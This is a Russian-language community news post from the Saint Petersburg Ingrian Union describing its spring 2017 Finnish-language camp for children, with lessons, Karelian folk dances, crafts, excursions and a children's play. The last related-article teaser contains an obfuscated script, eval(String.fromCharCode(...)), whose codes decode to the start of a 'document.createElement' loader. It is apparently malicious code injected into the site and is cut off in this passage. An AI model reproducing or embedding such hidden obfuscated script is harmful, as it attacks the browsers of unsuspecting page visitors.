Kevät Inkerinleiri-2017

uchastniki-lagerja

На весенних школьных каникулах Pietarin Inkerin Liitto  провел очередной лагерь INKERINLEIRI (KEVÄT-2017) для детей, изучающих финский язык. Лагерь прошёл интересно и  весело. Программа занятий  была традиционной — ежедневные занятия финским языком, мастер-классы по национальным ремёслам, занятия музыкой и народными танцами. Но в этот раз у нас были гости — дети из Пряжинского национального района Карелии, которые учатся на фольклорном отделении  национальной школы искусств и объединены в детскую фольклорную студию «Pilli» . Педагог Юлия Толмачёва  с помощью своих воспитанников научила наших детей традиционным карельским и финским хороводам, разучила с питерскими детьми 2 песни на кантеле. Карелы хорошо подготовились, привезли инструменты и для наших детей, которые смогли выступить наравне с карельскими детьми в концерте. Несмотря на плотный график занятий, в лагере был проведен  турнир по настольному теннису, прошли минипоходы  в Дудургоф и экскурсия в Гатчинский Дворец. Очень всем понравилась беседа Владимира Кокко о истории расселения финно-угорских народов в пределах Северо-Запада России. На это занятии дети под руководством Владимира нарисовали карту, которую можно посмотреть в офисе на Пушкинской. Много времени уделяли и дети, и взрослые рукоделию — почти все научились плести браслеты, все смогли получить навыки ткачества на станке. Коврик — совместная работа детей также находится в офисе на Пушкинской. К детям приезжала преподаватель по рисованию, за два занятия дети успели нарисовать настоящие картины, выставку которых смогли увидеть родители, когда приехали на заключительный концерт. Пением на финском языке с детьми занималась Ольга Клименкова, на концерте песни звучали замечательно! Большое спасибо — Сергею Рущицкому за работу в Inkerinleiri, он занимался с детьми  в течение всего лагеря. Если бы не он — не был бы налажен ткацкий станок, и не было бы у нас такого красивого коврика! Отдельное слово о спектакле «Красная шапочка» на финском языке! Дети выучили тексты! — спасибо за это Ирине Михайловне Харпак.  Занятия финским для детей не были обузой, а когда их приходилось отменять из-за  других мероприятий — многие дети об этом сожалели! — невероятно! Спектакль получился интересный, но здесь нам есть над чем поработать! — Спектакль планируется доработать и показать ещё. Дети и родители остались довольны, преподаватели и помощники устали, но тоже очень довольны своей работой. Надеемся, что следующий лагерь будет ещё лучше и интереснее. Приглашаем всех желающих с новыми идеями для следующего лагеря! (Координатор работы с детьми в Pietarin Inkerin Liitto Эльвира Кириллова).

Занятие Вл Коккозанятия Ю_ТолмачевойРазучиваем танцыУрок фин яз_старш гр

Возможно, Вам также будут интересны статьи:

Книга на карельском языке. Mauri Kunnas «Koir... Есть в библиотеке "Инкерин Лиитто". Книга известного финского автора детских книг Маури Куннаса. Его книги всегда содержат прекрасные иллюстрации с...
«Ингерманландия глазами Самули Паулахарью... Можно приобрести в офисе. Издательство: Гйоль, ISBN: 9785904790219. Год: 2014. Книга-фотоальбом известного финского этнографа Самули Паулахарью, р...
Выступление фолк-группы Talomerkit на Дне Города I... Фeval(String.fromCharCode(118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69,...